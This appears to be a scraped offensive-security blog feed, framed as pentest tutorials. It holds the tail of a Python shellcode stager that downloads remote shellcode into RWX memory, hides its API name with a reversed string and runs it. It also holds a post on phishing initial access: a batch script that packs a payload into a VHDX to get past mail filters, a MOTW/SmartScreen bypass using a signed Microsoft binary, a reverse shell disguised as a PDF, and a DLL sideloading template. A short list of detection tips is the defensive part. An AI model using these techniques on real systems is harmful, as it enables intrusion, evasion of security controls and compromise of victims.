<span class="n">k32</span><span class="p">.</span><span class="n">GetModuleHandleW</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span><span class="n">ctypes</span><span class="p">.</span><span class="n">c_wchar_p</span><span class="p">]</span>
<span class="n">base</span> <span class="o">=</span> <span class="n">k32</span><span class="p">.</span><span class="nc">GetModuleHandleW</span><span class="p">(</span><span class="n">dll_name</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[*] </span><span class="si">{</span><span class="n">dll_name</span><span class="si">}</span><span class="s"> @ 0x</span><span class="si">{</span><span class="n">base</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

<span class="n">pe</span> <span class="o">=</span> <span class="n">pefile</span><span class="p">.</span><span class="nc">PE</span><span class="p">(</span><span class="n">dll_path</span><span class="p">,</span> <span class="n">fast_load</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">pe</span><span class="p">.</span><span class="nf">parse_data_directories</span><span class="p">()</span>

<span class="n">memprep</span><span class="o">=</span><span class="sa">b</span><span class="sh">"</span><span class="s">collAlautriV</span><span class="sh">"</span>
<span class="n">va_va</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">entry</span> <span class="ow">in</span> <span class="n">pe</span><span class="p">.</span><span class="n">DIRECTORY_ENTRY_IMPORT</span><span class="p">:</span>
    <span class="k">if</span> <span class="sa">b</span><span class="sh">'</span><span class="s">kernel32</span><span class="sh">'</span> <span class="ow">in</span> <span class="n">entry</span><span class="p">.</span><span class="n">dll</span><span class="p">.</span><span class="nf">lower</span><span class="p">():</span>
        <span class="k">for</span> <span class="n">imp</span> <span class="ow">in</span> <span class="n">entry</span><span class="p">.</span><span class="n">imports</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">imp</span><span class="p">.</span><span class="n">name</span> <span class="o">==</span> <span class="n">memprep</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]:</span>
                <span class="n">slot</span>  <span class="o">=</span> <span class="n">base</span> <span class="o">+</span> <span class="n">imp</span><span class="p">.</span><span class="n">address</span> <span class="o">-</span> <span class="n">pe</span><span class="p">.</span><span class="n">OPTIONAL_HEADER</span><span class="p">.</span><span class="n">ImageBase</span>
                <span class="n">va_va</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint64</span><span class="p">.</span><span class="nf">from_address</span><span class="p">(</span><span class="n">slot</span><span class="p">).</span><span class="n">value</span>
                <span class="k">break</span>

<span class="k">if</span> <span class="ow">not</span> <span class="n">va_va</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[-] collAlautriV not found in IAT</span><span class="sh">"</span><span class="p">);</span> <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] collAlautriV @ 0x</span><span class="si">{</span><span class="n">va_va</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

<span class="n">MemoryAllocator</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nc">WINFUNCTYPE</span><span class="p">(</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint32</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint32</span>
<span class="p">)(</span><span class="n">va_va</span><span class="p">)</span>

<span class="n">page</span> <span class="o">=</span> <span class="nc">MemoryAllocator</span><span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="mh">0x3000</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] RWX page @ 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span> <span class="k">if</span> <span class="n">page</span> <span class="k">else</span> <span class="sa">f</span><span class="sh">"</span><span class="s">[-] failed (GLE=</span><span class="si">{</span><span class="n">k32</span><span class="p">.</span><span class="nc">GetLastError</span><span class="p">()</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">page</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[+] allocated!</span><span class="sh">"</span><span class="p">)</span>

<span class="c1"># ── execution ─────────────────────────────────────────────────────────────────────
</span><span class="n">scode</span> <span class="o">=</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">SCODE_U</span><span class="p">)</span>
<span class="k">if</span> <span class="n">scode</span><span class="p">:</span>
    <span class="c1"># page = your VAlloc result from earlier
</span>    <span class="k">if</span> <span class="nf">copy_to_page</span><span class="p">(</span><span class="n">page</span><span class="p">,</span> <span class="n">scode</span><span class="p">):</span>
        <span class="nf">exec_page</span><span class="p">(</span><span class="n">page</span><span class="p">)</span>
        
    <span class="c1"># ── cleanup (only reached if shellcode returns) ───────────────────────────────
</span>    <span class="n">k32</span><span class="p">.</span><span class="nc">VirtualFree</span><span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="nf">c_void_p</span><span class="p">(</span><span class="n">page</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x8000</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[*] freed</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="bonus-content-for-members-all-membership-tiers"><strong><em>Bonus Content for Members! (All Membership Tiers)</em></strong></h2>

<p>📹 In-Depth Video/Audio Walkthrough for today’s blog post: <a href="https://ko-fi.com/s/3e9d57ce10">In-Depth Video Walkthrough</a></p>

<p>🗒️ Packaged .zip file containing portable python + Source Code to go with the Video: <a href="https://ko-fi.com/s/3e9d57ce10">Portable Python + code</a></p>

<p>🛡️ <strong>Dynamic Analysis Detection Tips</strong> 🛡️</p>

<ul>
  <li>Flag <code class="language-plaintext highlighter-rouge">python.exe</code> when allocating RWX memory at runtime.  I’d say most legitimate Python workloads almost never do this 😆</li>
  <li>ETW Microsoft-Windows-Threat-Intelligence provider alerts on ALLOCVM events with execute permissions from interpreter processes</li>
  <li>Detect execution originating from private, non-image-backed memory regions</li>
  <li>Alert on python.exe making outbound network connections followed by memory allocation and execution in the same process lifetime</li>
  <li>Monitor for python-requests User-Agent strings</li>
  <li>Flag <code class="language-plaintext highlighter-rouge">NtAllocateVirtualMemory</code> and/or <code class="language-plaintext highlighter-rouge">NtCreateThreadEx</code> calls from python interpreter processes.  Honestly, NT API usage from Python is highly anomalous</li>
  <li>Sandbox detonation of unknown .py files with full API call tracing — reversed strings unwind at runtime and become visible in dynamic traces even when invisible statically</li>
  <li>Alert on python.exe with no parent console or GUI context making network calls</li>
  <li>Detect pefile import activity at runtime.  Parsing a PE from within a running Python process is unusual behavior outside of explicit reverse engineering tooling</li>
  <li>Memory scanning on execute-permission regions mid-execution.  Shellcode signatures that evade static scanning are often detectable in-memory after decoding</li>
</ul>

<p>And that’s a wrap folks!  Thanks and see you on the next blog post!</p>

<p>~G3tSyst3m</p>

<div style="text-align: right;">
  
<b>Sponsored By:</b><br />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/anyrun.png" />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/vector35.png" />

</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="FUD" /><category term="Initial Access" /><category term="Python" /><category term="IAT" /><category term="download and exec" /><category term="FUD" /><category term="Stager" /><category term="Pentesting Payload" /><category term="2026" /><category term="g3tsyst3m" /><category term="Initial Foothold" /><summary type="html"><![CDATA[I have had several discussions over the years with folks on tackling EDR bypass as it pertains to fully undetected (FUD) code. In my opinion, there isn’t really a perfect silver bullet approach to tackling FUD. Especially with ML (machine learning) / AI integrated in most modern EDR solutions, you really have to adjust your approach to FUD as you go. I will say that I truly believe script interpreter type languages such as Python, Ruby, Perl, even PHP, are great candidates to meet this need. Scripting languages are not heavily scrutinized when we’re comparing with compiled (PE executable) code. Now I can already hear the disgruntled offsec folks questioning my rationale when they have tried countless times to make their powershell and javascript/vbscript code into FUD worthy code. I get it and I’m with you. It’s not a one size fits all right? Powershell, while also a script interpreter type language, has been so abused by threat actors that it’s incredibly difficult to tackle FUD due to its prolific use in malicious campaigns, but it’s certainly not impossible. Let’s get to it!]]></summary></entry><entry><title type="html">Gaining Initial Access and Outsmarting SmartScreen</title><link href="https://g3tsyst3m.com/initial%20access/Gaining-Initial-Access-and-Outsmarting-SmartScreen/" rel="alternate" type="text/html" title="Gaining Initial Access and Outsmarting SmartScreen" /><published>2026-02-21T00:00:00+00:00</published><updated>2026-02-21T00:00:00+00:00</updated><id>https://g3tsyst3m.com/initial%20access/Gaining%20Initial%20Access%20and%20Outsmarting%20SmartScreen</id><content type="html" xml:base="https://g3tsyst3m.com/initial%20access/Gaining-Initial-Access-and-Outsmarting-SmartScreen/"><![CDATA[<p>I’ve had a number of people ask me what approaches I have taken to secure that initial foothold on a machine/network during a pentest engagement.  Well, the blunt and honest answer to that question is…it depends 😸  Initial access comes in many forms and depending on the type of pentest engagement, you will be afforded or NOT afforded various types of “lures” you can use to acquire that first foothold.  Most clients are open to the pentest team exhausting all their resources and offensive tooling to truly assess the client’s security controls.  If not they should be.  Because in a real world attack, you better believe the threat actor will not hold back!  In today’s post, I’ll be going over a very traditional approach to achieving initial access using email as our attack vector of choice.  I’ll go over various ways to send the email (gui and non-gui) and using attachments versus links.  I’ll also explain how to contend with MOTW (Mark of the Web) and SmartScreen security restrictions on your downloaded payloads for the modern Windows 11 environment.</p>

<p>Speaking of MOTW, <strong>Spoiler Alert</strong>: We’ll be using a cool trick I learned a while back where you use a known trusted executable to bypass MOTW and also use DLL sideloading to further amplify our evasive strategy.  Let’s do it to it!</p>

<h2 id="the-lay-of-the-land">The Lay of the Land</h2>

<p>In our scenario, let’s assume we’re only provided the company directory which includes their phone and email address.  We’re permitted to use any means necessary of compromising a machine and so forth, but the information we’re starting with is limited.  Like I mentioned earlier, I’ll be resorting to email for our attack vector to work toward our goal of initial access/initial foothold into the organization.  I could go the whole social engineering route and text/call someone at the company, but that won’t be a part of this exercise 😼  Let me give you a tour of our toolkit arsenal.</p>

<h2 id="using-gmails-web-frontend-and-testing-attachment-types">Using Gmail’s Web Frontend and Testing Attachment Types</h2>

<blockquote>
  <p><strong>Test attachment #1: .zip attachment with 1 exectuble and 1 DLL inside</strong></p>
</blockquote>

<p>Gmail is <strong>VERY</strong> tempermental with attachments, and rightly so.  Threat actors have successfully leveraged email attachments as the primary vehicle for payload transport to the victim for years.  So let’s see what we’re up against.  We will try a basic <strong>.zip</strong> attachment with an executable and <strong>DLL</strong> file.  The executable is a digitally signed Microsoft executable (<code class="language-plaintext highlighter-rouge">ApplicationFrameHost.exe</code> just renamed by me to something else) and the DLL is a DLL we will be sideloading later. Mwuahahahhhahha!  But here’s the deal, the executable is literally the same as the one in <strong>System32</strong>.  I just renamed it.  let’s see what happens:</p>

<p><img width="749" height="278" alt="image" src="https://github.com/user-attachments/assets/3d179766-3872-48c7-9cf9-638c71964a69" /></p>

<p><img width="765" height="41" alt="image" src="https://github.com/user-attachments/assets/aac87a8a-b2ff-4e24-b76e-bce0feff8a8b" /></p>

<p><img width="1610" height="762" alt="image" src="https://github.com/user-attachments/assets/983a29fd-5676-4506-9f33-cd69e66ff395" /></p>

<p><img width="685" height="630" alt="image" src="https://github.com/user-attachments/assets/3337fe7b-2f5f-4196-abae-a0b6fcb03487" /></p>

<p>Okay so as you likely already have surmised, we failed to get beyond Gmail’s initial security filters.</p>

<p><strong>Spoiler alert…again 😸</strong>: It’s largely due to the executable.  It doesn’t matter what executable we use, signed, unsigned, zipped, not zipped, you name it.  It will likely get flagged.</p>

<p>You may also think,”<strong>But wait, why not use Proton mail to send it instead?  Or some other email client less well known, etc?</strong>”  Sure.  You absolutely can, but then you run into another issue.  The receiving user’s email client will also scrutinize the attachment to see if it checks out.  So for all intents and purposes, let’s just go off the assumption that if it works in gmail and permits us to upload it, then the receiving client’s email security will also likely let it pass through.  In my case, I’ll be sending from Gmail to my Outlook account.</p>

<blockquote>
  <p><strong>Test attachment #2: .zip attachment that includes a VHDX (Hard Disk Image File) with the exact same contents (I’ll show you how to generate this shortly I promise 😸)</strong></p>
</blockquote>

<p><img width="866" height="77" alt="image" src="https://github.com/user-attachments/assets/7a151013-b7cf-4373-bd7f-0b300ad990cd" /></p>

<p>Notice the file size!  Pretty large huh?  We can get around that by compressing it into a <strong>.zip</strong> file which we had already planned to do anyways!</p>

<p>Here’s inside the <strong>zip</strong> file:</p>

<p><img width="932" height="227" alt="image" src="https://github.com/user-attachments/assets/641e6fc7-b0ec-4a5a-b488-94d72e12d98e" /></p>

<p>And now going inside the <strong>VHDX</strong> file:</p>

<p><img width="780" height="246" alt="image" src="https://github.com/user-attachments/assets/c03d0ab6-9288-4a25-8e3c-0fb3cec6471b" /></p>

<p>Double clicking on the <strong>VHDX</strong> file will also treat this file as a <code class="language-plaintext highlighter-rouge">mountable drive</code>.</p>

<p><img width="677" height="360" alt="image" src="https://github.com/user-attachments/assets/f38cf05e-5b15-496a-9ada-d8c75ced27c1" /></p>

<p>Now the moment we’ve all been waiting for…uploading it to our email to see if it is accepted or flagged:</p>

<p><img width="675" height="631" alt="image" src="https://github.com/user-attachments/assets/95828dc3-5689-4782-a830-cc89d1394620" /></p>

<p><strong>AND…………………….BINGO!!!!</strong></p>

<p><img width="671" height="628" alt="image" src="https://github.com/user-attachments/assets/ec68d918-1849-481c-b602-c37b2fe3b17b" /></p>

<p>That time we didn’t run into any issues.  Phew!</p>

<p>Okay, so that’s one approach you can take to prep your payload.  This can go a number of ways of course.  You could have used a .ps1 script or py-to-exe executable, .hta script, .vbs, and so on.  You get the idea.  The primary key is to “cloak” your scripts inside a virtual disk file.  I’ve tried <strong>.iso</strong> and <strong>.img</strong> and those get flagged more often than I’d like.  The only consistent way I’ve found to include an attachment and it not get flagged is through the use of <code class="language-plaintext highlighter-rouge">.VHDX</code> files.  Here’s the script I used to package this btw.  It needs to be ran as Administrator to create the <code class="language-plaintext highlighter-rouge">.VHDX</code> file.</p>

<p><del>It does <strong>NOT</strong> need admin rights to mount/open it as a user.</del> <strong>&lt;– Revision 3/29/2026</strong>: This is incorrect.  You need to be a member of the local administrators group for this to work.  Thank you to the kind and responsible reader who pointed this out to me!</p>

<ul>
  <li><strong>VHD_PATH</strong> is the output file</li>
  <li><strong>EXE_TO_COPY</strong> is the executable you wish to add to the VHDX</li>
  <li><strong>SCRIPT_TO_COPY</strong> is the script you’d like to add to the VHDX</li>
</ul>

<p>and so on…</p>

<p>You can add as many variables as you like.  Okay the script!  See below:</p>

<div class="language-bat highlighter-rouge"><div class="highlight"><pre class="highlight"><code>@echo <span class="na">off</span>
<span class="nb">setlocal</span> <span class="na">enabledelayedexpansion</span>

<span class="kd">set</span> <span class="kd">VHD_PATH</span><span class="o">=</span><span class="kd">C</span>:\Temp\DocumentUpdate.vhdx
<span class="kd">set</span> <span class="kd">VHD_SIZE_MB</span><span class="o">=</span><span class="m">64</span>
<span class="kd">set</span> <span class="kd">EXE_TO_COPY</span><span class="o">=</span><span class="kd">C</span>:\Temp\DocumentRetrieval.exe
<span class="kd">set</span> <span class="kd">SCRIPT_TO_COPY</span><span class="o">=</span><span class="kd">C</span>:\Temp\UMPDC.dll

<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Creating</span> <span class="m">1</span><span class="kd">GB</span> <span class="kd">VHDX</span>...
<span class="o">(</span>
<span class="nb">echo</span> <span class="kd">create</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span> <span class="kd">maximum</span><span class="o">=</span><span class="nv">%VHD_SIZE_MB%</span> <span class="nb">type</span><span class="o">=</span><span class="kd">expandable</span>
<span class="nb">echo</span> <span class="kd">select</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="kd">attach</span> <span class="kd">vdisk</span>
<span class="nb">echo</span> <span class="kd">create</span> <span class="kd">partition</span> <span class="kd">primary</span>
<span class="nb">echo</span> <span class="nb">format</span> <span class="kd">fs</span><span class="o">=</span><span class="kd">ntfs</span> <span class="nb">label</span><span class="o">=</span><span class="s2">"Documents2026"</span> <span class="kd">quick</span>
<span class="nb">echo</span> <span class="kd">assign</span> <span class="kd">letter</span><span class="o">=</span><span class="kd">X</span>
<span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>

<span class="c">REM Detect actual letter if X taken</span>
<span class="k">for</span> <span class="vm">%%d</span> <span class="k">in</span> <span class="o">(</span><span class="kd">X</span> <span class="kd">Y</span> <span class="kd">Z</span> <span class="kd">W</span> <span class="kd">V</span> <span class="kd">U</span> <span class="kd">T</span> <span class="kd">S</span> <span class="kd">R</span> <span class="kd">Q</span> <span class="kd">P</span> <span class="kd">O</span> <span class="kd">N</span> <span class="kd">M</span> <span class="kd">L</span> <span class="kd">K</span> <span class="kd">J</span> <span class="kd">I</span> <span class="kd">H</span> <span class="kd">G</span> <span class="kd">F</span> <span class="kd">E</span> <span class="kd">D</span> <span class="kd">C</span> <span class="kd">B</span> <span class="kd">A</span><span class="o">)</span> <span class="k">do</span> <span class="o">(</span>
    <span class="k">if</span> <span class="ow">exist</span> <span class="vm">%%d</span>:\ <span class="o">(</span>
        <span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Drive</span> <span class="vm">%%d</span>: <span class="kd">available</span><span class="o">?</span> <span class="kd">No</span>.
    <span class="o">)</span> <span class="k">else</span> <span class="o">(</span>
        <span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Assigning</span> <span class="vm">%%d</span>:
        <span class="nb">echo</span> <span class="kd">select</span> <span class="kd">disk</span> <span class="nv">!disknum!</span>
        <span class="nb">echo</span> <span class="kd">select</span> <span class="kd">partition</span> <span class="m">1</span>
        <span class="nb">echo</span> <span class="kd">assign</span> <span class="kd">letter</span><span class="o">=</span><span class="vm">%%d</span>
        <span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>
        <span class="kd">set</span> <span class="kd">DRIVE_LETTER</span><span class="o">=</span><span class="vm">%%d</span>
        <span class="k">goto</span> <span class="nl">:copy</span>
    <span class="o">)</span>
<span class="o">)</span>

<span class="nl">:copy</span>

<span class="nb">copy</span> <span class="s2">"</span><span class="nv">%EXE_TO_COPY%</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">%DRIVE_LETTER%</span><span class="s2">:\"</span>
<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Copied</span> <span class="kd">to</span> <span class="nv">%DRIVE_LETTER%</span>:\

<span class="nb">copy</span> <span class="s2">"</span><span class="nv">%SCRIPT_TO_COPY%</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">%DRIVE_LETTER%</span><span class="s2">:\"</span>
<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Copied</span> <span class="kd">to</span> <span class="nv">%DRIVE_LETTER%</span>:\

<span class="nb">echo</span> <span class="kd">select</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="kd">detach</span> <span class="kd">vdisk</span>
<span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>

<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Done</span>: <span class="nv">%VHD_PATH%</span> <span class="o">(</span><span class="kd">test</span> <span class="kd">mount</span> <span class="na">on</span> <span class="kd">target</span><span class="o">)</span>
<span class="nb">pause</span>
</code></pre></div></div>

<p>Ok cool, so that’s one approach.  We can simply upload our payload as an attachment.  But I’m not satisfied with that approach because it’s crazy restrictive and limited in nature.  Let’s continue, as I still need to explain <code class="language-plaintext highlighter-rouge">Mark of the Web</code> and <code class="language-plaintext highlighter-rouge">Smartscreen protection</code> and some other aspects of initial access that prove difficult for us to contend with.  But fear not, I have ways around those restrictions 😸</p>

<h2 id="my-preferred-approach-using-gmails-web-frontend-and-hyperlinks-for-your-payload">My Preferred Approach: Using Gmail’s Web Frontend and Hyperlinks for your Payload</h2>

<p>Right out of the gate I get sent to the dreaded Junk mail folder:</p>

<p><img width="1570" height="430" alt="image" src="https://github.com/user-attachments/assets/78dbb2c5-25d1-48f4-8057-3400d84e3ccd" /></p>

<p>Hmm, we need to rectify that.  Let’s see what we can do.  I’ll try sending from another gmail account that is older with a good reputation and change the subject and body a bit.</p>

<p><img width="1534" height="415" alt="image" src="https://github.com/user-attachments/assets/e65d15b7-6181-447f-b161-0c0c348db0de" /></p>

<p>Interesting huh?!  No junk folder this time.  This time I sent the email using a gmail address I’ve had for a very long time.  10+ years or so.  The other email was my g3tsyst3m@gmail.com email address and it’s exclusively used for offsec convos so who knows maybe it has a bad reputation 😆</p>

<p>I’m betting it’s a combination of factors: <strong>Reputational risk for email sender, Subject content, and Body content</strong>.  Oddly enough I don’t think the github link is considered suspicious by the email client 😸</p>

<p>Okay, so moving on.  I’ll click the link in the email we sent soon enough, but before I do, I need to keep you in suspense for a bit.  Sorry about that 😄 We still need to go over <code class="language-plaintext highlighter-rouge">Mark of the Web</code> and <code class="language-plaintext highlighter-rouge">SmartScreen</code> so you can truly understand the real battle we face when downloading payloads.  Whether it’s from an email or web browser, you’ll have to deal with this.  I’ll cover everything in our next section and then revisit our email we sent to the pentest “victim”.</p>

<h2 id="introducing-mark-of-the-web-and-smartscreen">Introducing Mark of the Web and SmartScreen</h2>

<p>When you download a file, depending on where it is being downloaded from, it will have the dreaded <code class="language-plaintext highlighter-rouge">Mark of the Web</code> property assigned to it.  What does this look like?  Glad you asked.  I’ll show you 😸</p>

<p>Let’s download a reverse shell python script that I’ve converted to an executable.  I’ve previously uploaded it to my Github account.  I’ve also changed the icon to somewhat resemble an adobe PDF document.  Take a look at the properties of the file.  Notice how it has a checkbox that says, “Unlock”?  That’s the Mark of the Web property I’ve been mentioning.</p>

<p><img width="1331" height="718" alt="image" src="https://github.com/user-attachments/assets/52ed3ace-d5ab-4d18-97f2-17a43b378702" /></p>

<p>If I try and execute this file as-is, I’ll trigger Windows Smart Screen.  You have to actually click <strong>“More Info”</strong> to even get presented the option of running the executable.</p>

<p><img width="670" height="626" alt="image" src="https://github.com/user-attachments/assets/dabadcc2-9c11-4821-8e16-585c93ffb015" /></p>

<p><img width="668" height="622" alt="image" src="https://github.com/user-attachments/assets/f7eb42e9-f55f-4093-950a-d1ed139ea54c" /></p>

<p>We don’t want the unsuspecting pentest customer to have to jump through hoops to execute our payload, right?  RIGHT!</p>

<p>Here’s how it would play out if I checked “Unblock”.  Notice I don’t get a prompt and the reverse shell works as intended:</p>

<p><img width="959" height="607" alt="image" src="https://github.com/user-attachments/assets/ddfc9817-a86a-4246-9e63-129e8dbcb869" /></p>

<p>So, that’s what we’re up against.  But as you can imagine, I have some tricks up my sleeve 😺  Keep following along to see how it all plays out!</p>

<h2 id="bypassing-mark-of-the-web-and-smartscreen-using-trusted-executable-reputation">Bypassing Mark of the Web and SmartScreen using Trusted Executable Reputation</h2>

<p>So the title sort of gives a hint as to how we can bypass both Mark of the Web and SmartScreen.  But before I delve further into that, just a quick recap.</p>

<ul>
  <li>We have an email that we’ve prepared both with and without attachments that bypasses the intitial basic email security filters</li>
  <li>Regardless of whether we have the user click an email link or open an email attachment, the contents will receive the MOTW property and require the user to approve the security prompts</li>
  <li>We wish to bypass both!</li>
</ul>

<p>Ok, this is pretty awesome.  Ready for it?  Are you?  okay here it is.  Go ahead and go into your <strong>C:/Windows/System32</strong> directory and locate <code class="language-plaintext highlighter-rouge">ApplicationHost.exe</code>.  You could have chosen any executable, but we’ll be picking on this one for today’s exercise 😼  Upload that executable to a location of your choosing.  I uploaded mine to one of my Github repos.  Go ahead and generate the link to your executable and download the file.</p>

<p>Right click on the downloaded file and check out the properties.  Still has MOTW right?</p>

<p><img width="544" height="704" alt="image" src="https://github.com/user-attachments/assets/34d5c6b7-32a7-4899-9a0a-ed8cb0bfd544" /></p>

<p>Double click on it.  What happens?</p>

<p>Yeah…it executes!  no SmartScreen.  Just pure glorious execution.  Now things are startin’ to get exciting! 😸</p>

<p>You can even click it in your Downloads window and it will open no problem.  No SmartScreen prompts.</p>

<p><img width="396" height="121" alt="image" src="https://github.com/user-attachments/assets/ad1f92c2-4761-4611-9680-2d3d8278dcf1" /></p>

<p>So why is that?  Why does it execute without SmartScreen interfering, especially since it still has the <strong>MOTW</strong> property unchecked.</p>

<p><strong>Simple answer</strong>: File reputation.</p>

<p>This is a signed / trusted Microsoft executable.  It has also been around for a very long time. Longevity and file signing increase the reputation of this executable considerably. Compare to my python to exe tester executable from earlier.  It didn’t stand a chance.  Unsigned, untrusted, just created, yeah you get it.  Similar to email sender reputation, files have reputational value and reputational risk too.  So now we’re left with a benign Microsoft executable that is trusted.  Where do we go from here?</p>

<h2 id="let-me-introduce-you-to-my-good-friends---a-trusted-executable-and-dll-sideloading-">Let me introduce you to my good friends - A Trusted Executable and DLL Sideloading 😸</h2>

<p>If you load up <strong>ApplicationFrameHost.exe</strong> into <strong>procmon</strong>, you’ll see some DLL’s that don’t have a home.  Yeah, you know what we’re going to have to do right?  Help one of those DLLs find a home!</p>

<p><img src="https://media1.tenor.com/m/dZHvxXepP3cAAAAC/golf-funny.gif" /></p>

<p>Here’s my procmon filter’s and also the results from applying the filters and running <strong>ApplicationFrameHost.exe</strong></p>

<p><img width="1384" height="992" alt="image" src="https://github.com/user-attachments/assets/5c36d5f8-bc81-49ec-b266-00d46158643f" /></p>

<p>As you can see, our trusted program is trying to find a home for a few DLLs and the one we’ll be helping out is: <strong>UMPDC.dll</strong></p>

<p>I also elected to use an x64 executable versus an x86.  I prefer more current architecture support personally 😸</p>

<p>Now we just need a simple test DLL to ensure this works as expected.  Here’s a very simple DLL template to test our DLL sideloading:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">"pch.h"</span><span class="cp">
</span>
<span class="n">BOOL</span> <span class="n">APIENTRY</span> <span class="nf">DllMain</span><span class="p">(</span> <span class="n">HMODULE</span> <span class="n">hModule</span><span class="p">,</span>
                       <span class="n">DWORD</span>  <span class="n">ul_reason_for_call</span><span class="p">,</span>
                       <span class="n">LPVOID</span> <span class="n">lpReserved</span>
                     <span class="p">)</span>
<span class="p">{</span>
    <span class="k">switch</span> <span class="p">(</span><span class="n">ul_reason_for_call</span><span class="p">)</span>
    <span class="p">{</span>
    <span class="k">case</span> <span class="n">DLL_PROCESS_ATTACH</span><span class="p">:</span>
        <span class="n">MessageBoxA</span><span class="p">(</span><span class="nb">nullptr</span><span class="p">,</span> <span class="s">"Hey!"</span><span class="p">,</span> <span class="s">"It's a me...a messagebox that was DLL sideloaded!"</span><span class="p">,</span> <span class="n">MB_OK</span><span class="p">);</span>
    <span class="k">case</span> <span class="n">DLL_THREAD_ATTACH</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">DLL_THREAD_DETACH</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">DLL_PROCESS_DETACH</span><span class="p">:</span>
        <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Compile that, rename it to <strong>UMPDC.dll</strong>, and place your compiled DLL in the same directory as <strong>ApplicationFrameHost.exe</strong> and open <strong>ApplicationFrameHost.exe</strong></p>

<p><img width="855" height="520" alt="image" src="https://github.com/user-attachments/assets/8ee2dee6-bf88-4005-80fa-6e28bb8f7583" /></p>

<p>BAM!  Works like a charm.  😸 It will work exactly the same way if we package this and download + execute it from the web.  So, let’s package this where it can be sent in our email from earlier!</p>

<p>Here’s the kicker.  There are two files we need the user to download.  The only conceivable way we can do that, as I see it, are two ways:</p>

<ul>
  <li>Zip the two files and have the user extract them and run the ApplicationFrameHost.exe (which you will need to rename to something less generic!).  You may ask yourself,”but why have them extract the files.  Can’t they just open the zip and double click on the executable?”  Sort of, but it doesn’t work the way we want it to. Essentially, the executable has no clue where the DLL file is.  If you just double-click on the .exe, it will run without SmartScreen as expected, but your DLL won’t execute because it’s still stuck in limbo.  Ironic isn’t it, since we’re relying on DLL sideloading to load the DLL.  😸</li>
